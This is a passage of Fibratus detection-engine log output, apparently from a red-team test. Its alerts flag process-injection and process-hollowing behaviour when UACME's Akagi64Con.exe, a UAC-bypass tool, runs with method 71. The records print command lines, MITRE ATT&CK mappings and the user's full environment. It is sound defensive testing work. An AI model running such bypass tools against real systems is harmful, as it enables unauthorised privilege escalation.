forward ........................ false + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ max-size=>100 level=>info log-stdout=>true formatter=>text max-age=>0 max-backups=>15] + output ......................... [ amqp=>[ tls-insecure-skip-verify=>false vhost=>/ passive=>false routing-key=>fibratus enabled=>false exchange-type=>topic timeout=>5s exchange=>fibratus delivery-mode=>transient durable=>false url=>amqp://localhost:5672] console=>[ template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} + format=>pretty enabled=>true] eventlog=>[ enabled=>false level=>info] http=>[ serializer=>json timeout=>5s method=>POST enabled=>false enable-gzip=>false endpoints=>[] tls-insecure-skip-verify=>false] elasticsearch=>[ healthcheck=>true index-name=>fibratus sniff=>false trace-log=>false servers=>[http://127.0.0.1:9200] timeout=>5s healthcheck-interval=>10s flush-period=>1s template-name=>fibratus gzip-compression=>false enabled=>false bulk-workers=>1 healthcheck-timeout=>5s]] + pe ............................. [ enabled=>false read-symbols=>false read-resources=>false read-sections=>false excluded-images=>[svchost.exe]] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ replace=>[ enabled=>false] rename=>[ enabled=>false] trim=>[ enabled=>false] remove=>[ enabled=>false params=>[]] tags=>[ enabled=>false]] + yara ........................... [ enabled=>false excluded-procs=>[] fastscan=>true skip-files=>false skip-mmaps=>false skip-registry=>false skip-allocs=>false excluded-files=>[] scan-timeout=>10s rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]]] source=bootstrap/bootstrap.go:185 +time=2025-11-25T15:17:52+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-25T15:17:54+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-25T15:18:08+01:00 level=info msg=sending alert: [.NET assembly loaded by unmanaged process]. Text: .NET assembly C:\Windows\assembly\NativeImages_v4.0.30319_64\AxImp\ca4a65a92bd27aec24b76530261ae608\AxImp.ni.exe loaded by unmanaged process C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Event(s): + Seq: 1667728 + Pid: 11932 + Tid: 1776 + Type: LoadImage + CPU: 2 + Name: LoadImage + Category: image + Description: Loads the module into the address space of the calling process + Host: archrabbit + Timestamp: 2025-11-25 15:17:59.6218842 +0100 CET + Params: base_address➜ 7ffb99f40000, checksum➜ 0, default_address➜ 7ffb99f40000, file_path➜ C:\Windows\assembly\NativeImages_v4.0.30319_64\AxImp\ca4a65a92bd27aec24b76530261ae608\AxImp.ni.exe, image_size➜ 90112, is_dll➜ true, is_dotnet➜ true, is_driver➜ false, is_exec➜ false, pid➜ 11932, signature_level➜ UNCHECKED, signature_type➜ NONE + Metadata: technique.id: T1055, technique.name: Process Injection, technique.ref: https://attack.mitre.org/techniques/T1055/, tactic.id: TA0005, rule.name: .NET assembly loaded by unmanaged process, tactic.name: Defense Evasion, tactic.ref: https://attack.mitre.org/tactics/TA0005/ + + Pid: 11932 + Ppid: 17776 + Name: Akagi64Con.exe + Parent name: powershell.exe + Cmdline: "C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 71 + Parent cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Cwd: C:\Fibratus\redteam\UACME\Source\Akagi\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 71] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT CONDA_PROMPT_MODIFIER:False ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommandPromptType:Native CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DevEnvDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\ DriverData:C:\Windows\System32\Drivers\DriverData EXTERNAL_INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt ExtensionSdkDir:C:\Program Files (x86)\Microsoft SDKs\Windows Kits\10\ExtensionSDKs Framework40Version:v4.0 FrameworkDir:C:\Windows\Microsoft.NET\Framework\ FrameworkDir32:C:\Windows\Microsoft.NET\Framework\ FrameworkVersion:v4.0.30319 FrameworkVersion32:v4.0.30319 GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt JAVA_HOME:C:\Program Files\Jdk11 LIB:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files (x86)\Windows Kits\10\lib\10.0.22621.0\ucrt\x86;C:\Program Files (x86)\Windows Kits\10\\lib\10.0.22621.0\\um\x86 LIBPATH:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86\store\references;C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0;C:\Windows\Microsoft.NET\Framework\v4.0.30319 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY;.CPL POSH_GIT_ENABLED:False POSH_THEME:C:\Posh-Themes\spaceship.json POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes POWERLINE_COMMAND:oh-my-posh PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PROMPT:$P$G PSModulePath:C:\Users\nedo\Documents\WindowsPowerShell\Modules;C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\bin\HostX86\x86;C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\\x86;C:\Program Files (x86)\Windows Kits\10\bin\\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\\MSBuild\Current\Bin\amd64;C:\Windows\Microsoft.NET\Framework\v4.0.30319;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp UCRTVersion:10.0.22621.0 USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo UniversalCRTSdkDir:C:\Program Files (x86)\Windows Kits\10\ VCIDEInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\VC\ VCINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\ VCToolsInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\ VCToolsRedistDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Redist\MSVC\14.36.32532\ VCToolsVersion:14.36.32532 VS170COMNTOOLS:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\ VSCMD_ARG_HOST_ARCH:x86 VSCMD_ARG_TGT_ARCH:x86 VSCMD_ARG_app_plat:Desktop VSCMD_VER:17.6.4 VSINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\ VisualStudioVersion:17.0 WSLENV:WT_SESSION:WT_PROFILE_ID: WT_PROFILE_ID:{61c54bbd-c2c6-5271-96e7-009a87ff44bf} WT_SESSION:8e8ec1a8-04b4-42aa-812e-e904ff39b295 WindowsLibPath:C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0 WindowsSDKLibVersion:10.0.22621.0\ WindowsSDKVersion:10.0.22621.0\ WindowsSdkBinPath:C:\Program Files (x86)\Windows Kits\10\bin\ WindowsSdkDir:C:\Program Files (x86)\Windows Kits\10\ WindowsSdkVerBinPath:C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\ _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols __DOTNET_ADD_32BIT:1 __DOTNET_PREFERRED_BITNESS:32 __VSCMD_PREINIT_PATH:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-11-25T15:18:08+01:00 level=info msg=sending alert: [.NET assembly loaded by unmanaged process]. Text: .NET assembly C:\Windows\assembly\NativeImages_v4.0.30319_64\AxImp\ca4a65a92bd27aec24b76530261ae608\AxImp.ni.exe loaded by unmanaged process C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Event(s): + Seq: 1667728 + Pid: 11932 + Tid: 1776 + Type: LoadImage + CPU: 2 + Name: LoadImage + Category: image + Description: Loads the module into the address space of the calling process + Host: archrabbit + Timestamp: 2025-11-25 15:17:59.6218842 +0100 CET + Params: base_address➜ 7ffb99f40000, checksum➜ 0, default_address➜ 7ffb99f40000, file_path➜ C:\Windows\assembly\NativeImages_v4.0.30319_64\AxImp\ca4a65a92bd27aec24b76530261ae608\AxImp.ni.exe, image_size➜ 90112, is_dll➜ true, is_dotnet➜ true, is_driver➜ false, is_exec➜ false, pid➜ 11932, signature_level➜ UNCHECKED, signature_type➜ NONE + Metadata: tactic.id: TA0005, rule.name: .NET assembly loaded by unmanaged process, tactic.name: Defense Evasion, tactic.ref: https://attack.mitre.org/tactics/TA0005/, technique.id: T1055, technique.name: Process Injection, technique.ref: https://attack.mitre.org/techniques/T1055/ + + Pid: 11932 + Ppid: 17776 + Name: Akagi64Con.exe + Parent name: powershell.exe + Cmdline: "C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 71 + Parent cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Cwd: C:\Fibratus\redteam\UACME\Source\Akagi\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 71] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT CONDA_PROMPT_MODIFIER:False ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommandPromptType:Native CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DevEnvDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\ DriverData:C:\Windows\System32\Drivers\DriverData EXTERNAL_INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt ExtensionSdkDir:C:\Program Files (x86)\Microsoft SDKs\Windows Kits\10\ExtensionSDKs Framework40Version:v4.0 FrameworkDir:C:\Windows\Microsoft.NET\Framework\ FrameworkDir32:C:\Windows\Microsoft.NET\Framework\ FrameworkVersion:v4.0.30319 FrameworkVersion32:v4.0.30319 GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt JAVA_HOME:C:\Program Files\Jdk11 LIB:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files (x86)\Windows Kits\10\lib\10.0.22621.0\ucrt\x86;C:\Program Files (x86)\Windows Kits\10\\lib\10.0.22621.0\\um\x86 LIBPATH:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86\store\references;C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0;C:\Windows\Microsoft.NET\Framework\v4.0.30319 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY;.CPL POSH_GIT_ENABLED:False POSH_THEME:C:\Posh-Themes\spaceship.json POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes POWERLINE_COMMAND:oh-my-posh PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PROMPT:$P$G PSModulePath:C:\Users\nedo\Documents\WindowsPowerShell\Modules;C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\bin\HostX86\x86;C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\\x86;C:\Program Files (x86)\Windows Kits\10\bin\\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\\MSBuild\Current\Bin\amd64;C:\Windows\Microsoft.NET\Framework\v4.0.30319;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp UCRTVersion:10.0.22621.0 USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo UniversalCRTSdkDir:C:\Program Files (x86)\Windows Kits\10\ VCIDEInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\VC\ VCINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\ VCToolsInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\ VCToolsRedistDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Redist\MSVC\14.36.32532\ VCToolsVersion:14.36.32532 VS170COMNTOOLS:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\ VSCMD_ARG_HOST_ARCH:x86 VSCMD_ARG_TGT_ARCH:x86 VSCMD_ARG_app_plat:Desktop VSCMD_VER:17.6.4 VSINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\ VisualStudioVersion:17.0 WSLENV:WT_SESSION:WT_PROFILE_ID: WT_PROFILE_ID:{61c54bbd-c2c6-5271-96e7-009a87ff44bf} WT_SESSION:8e8ec1a8-04b4-42aa-812e-e904ff39b295 WindowsLibPath:C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0 WindowsSDKLibVersion:10.0.22621.0\ WindowsSDKVersion:10.0.22621.0\ WindowsSdkBinPath:C:\Program Files (x86)\Windows Kits\10\bin\ WindowsSdkDir:C:\Program Files (x86)\Windows Kits\10\ WindowsSdkVerBinPath:C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\ _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols __DOTNET_ADD_32BIT:1 __DOTNET_PREFERRED_BITNESS:32 __VSCMD_PREINIT_PATH:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-11-25T15:18:08+01:00 level=info msg=sending alert: [Potential Process Hollowing]. Text: Event(s): + Seq: 1648222 + Pid: 17776 + Tid: 7324 + Type: CreateProcess + CPU: 0 + Name: CreateProcess + Category: process + Description: Creates a new process and its primary thread + Host: archrabbit + Timestamp: 2025-11-25 15:17:58.2792009 +0100 CET + Params: cmdline➜ "C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 71, directory_table_base➜ 411e6d000, domain➜ ARCHRABBIT, exe➜ C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe, exit_status➜ Success, flags➜ , kproc➜ ffffe101308d7080, name➜ Akagi64Con.exe, pid➜ 11932, ppid➜ 17776, real_ppid➜ 17776, session_id➜ 1, sid➜ S-1-5-21-2271034452-2606270099-984871569-1001, start_time➜ 2025-11-25 15:17:58.2791364 +0100 CET, token_elevation_type➜ LIMITED, token_integrity_level➜ MEDIUM, token_is_elevated➜ false, username➜ nedo + Metadata: subtechnique.ref: https://attack.mitre.org/techniques/T1055/012/, rule.name: Potential Process Hollowing, technique.ref: https://attack.mitre.org/techniques/T1055/, subtechnique.id: T1055.012, subtechnique.name: Process Hollowing, tactic.id: TA0005, tactic.ref: https://attack.mitre.org/tactics/TA0005/, technique.name: Process Injection, rule.seq.link: 2890466773138669568, tactic.name: Defense Evasion, technique.id: T1055 + + Pid: 17776 + Ppid: 17676 + Name: powershell.exe + Parent name: WindowsTerminal.exe + Cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Parent cmdline: "C:\Program Files\WindowsApps\Microsoft.WindowsTerminal_1.23.12811.0_x64__8wekyb3d8bbwe\WindowsTerminal.exe" + Exe: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Cwd: C:\Fibratus\fibratus\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: [C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT CONDA_PROMPT_MODIFIER:False ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommandPromptType:Native CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DevEnvDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\ DriverData:C:\Windows\System32\Drivers\DriverData EXTERNAL_INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt ExtensionSdkDir:C:\Program Files (x86)\Microsoft SDKs\Windows Kits\10\ExtensionSDKs Framework40Version:v4.0 FrameworkDir:C:\Windows\Microsoft.NET\Framework\ FrameworkDir32:C:\Windows\Microsoft.NET\Framework\ FrameworkVersion:v4.0.30319 FrameworkVersion32:v4.0.30319 GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt JAVA_HOME:C:\Program Files\Jdk11 LIB:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files (x86)\Windows 